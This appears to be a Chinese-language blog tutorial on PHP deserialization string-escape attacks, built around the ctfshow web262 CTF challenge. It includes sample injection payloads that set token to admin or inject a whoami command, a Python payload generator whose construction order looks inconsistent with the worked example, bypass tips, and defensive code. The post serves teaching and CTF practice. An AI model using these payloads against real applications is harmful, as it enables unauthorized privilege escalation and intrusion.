PHP 反序列化字符串逃逸详解：基于 ctfshow web262 的 2 种攻击模型与构造工具-尧图网络科技

PHP 反序列化字符串逃逸深度剖析：从 ctfshow web262 看两种攻击范式

1. 反序列化漏洞的核心机制

PHP 反序列化漏洞的本质在于：当不可信数据被传递给unserialize()函数时，攻击者可以通过精心构造的序列化字符串来控制对象属性，进而触发危险操作。与常规反序列化漏洞不同，字符串逃逸（String Escape）是一种特殊攻击手法，它利用序列化字符串解析特性实现结构破坏。

序列化字符串的核心结构：

O:<类名长度>:"<类名>":<属性数量>:{<属性类型><属性名长度>:"<属性名>";<值类型><值长度>:"<值>";}

关键漏洞触发点：

当应用程序对序列化字符串进行过滤处理（如字符替换）时
过滤操作改变了原始字符串长度但未同步更新长度标识
反序列化引擎仍按原长度解析，导致后续内容被错误解释

2. 字符增多型逃逸攻击模型

以 ctfshow web262 为例，当系统将 "fuck" 替换为更长的 "loveU" 时：

// 原始payload构造 class message { public $from = '1'; public $msg = '2'; public $to = '3fuckfuck...fuck";s:5:"token";s:5:"admin";}'; public $token = 'user'; }

攻击步骤分解：

计算需要逃逸的字符数（目标位置到token字段的距离）
确定每个替换操作产生的字符差量（"loveU"比"fuck"多1字符）
构造足够数量的触发字符串（27个"fuck"）
确保最终结构符合序列化格式要求

数学关系验证：

原始长度：27(fuck)*4 = 108 替换后长度：27(loveU)*5 = 135 净增长：135-108 = 27（正好覆盖目标字段）

3. 字符减少型逃逸攻击模型

当过滤操作使字符串变短时（如删除特定字符），可采用反向思路：

// 假设系统删除所有"x"字符 class vulnerable { public $prefix = 'xxx...xxx'; // 40个x public $suffix = '";s:3:"cmd";s:6:"whoami";}'; }

攻击特征对比表：

攻击类型	触发条件	构造要点	典型应用场景
字符增多型	小串替换为大串	计算净增长量	关键词过滤系统
字符减少型	删除特定字符	计算净减少量	非法字符清理系统
混合型	多种过滤规则组合	需考虑规则应用顺序	多层安全过滤

4. 自动化攻击工具开发

以下 Python 脚本可自动生成逃逸 payload：

def generate_escape_payload(original, replacement, target, padding): """ :param original: 被替换的原始字符串（如"fuck"） :param replacement: 替换后的字符串（如"loveU"） :param target: 要注入的目标字段（如'token":"admin"'） :param padding: 需要逃逸的字符数 """ delta = len(replacement) - len(original) repeat = (padding // delta) + 1 escape_str = original * repeat return f'";{target};//{escape_str}' # 示例使用 print(generate_escape_payload("fuck", "loveU", 's:5:"token";s:5:"admin"', 27))

工具执行流程：

计算每个替换单元产生的长度差
确定需要重复的最小次数
构建符合序列化语法的逃逸结构
自动添加注释符保证语法正确性

5. 高级防御与绕过技术

现代防御方案：

// 防御性反序列化示例 function safe_unserialize($data) { $parsed = unserialize($data); if (serialize($parsed) !== $data) { throw new Exception("Serialization tampering detected"); } return $parsed; }

针对性绕过技巧：

Unicode 编码混淆：利用多字节字符处理差异

$payload = 's:5:"tést";s:5:"admin"'; // é可能被计为1或2个字节

引用欺骗：通过对象引用绕过长度检查

$a = new stdClass(); $a->self = $a; // 创建循环引用

PHAR 封装：将恶意序列化数据隐藏在文件元数据中

6. 实战决策流程图

graph TD A[发现序列化入口] --> B{是否有字符串过滤?} B -->|是| C[分析过滤规则] B -->|否| D[尝试常规反序列化] C --> E[计算字符变化量] E --> F[构造逃逸payload] F --> G[验证结构完整性] G --> H[实施攻击]

7. 深度防御建议

输入验证层：
- 使用白名单验证序列化数据来源
- 实施数字签名验证数据完整性

运行时防护：

ini_set('unserialize_callback_func', 'serialization_validator'); function serialization_validator($className) { if (!in_array($className, ['AllowedClass1', 'AllowedClass2'])) { die("Illegal class attempted"); } }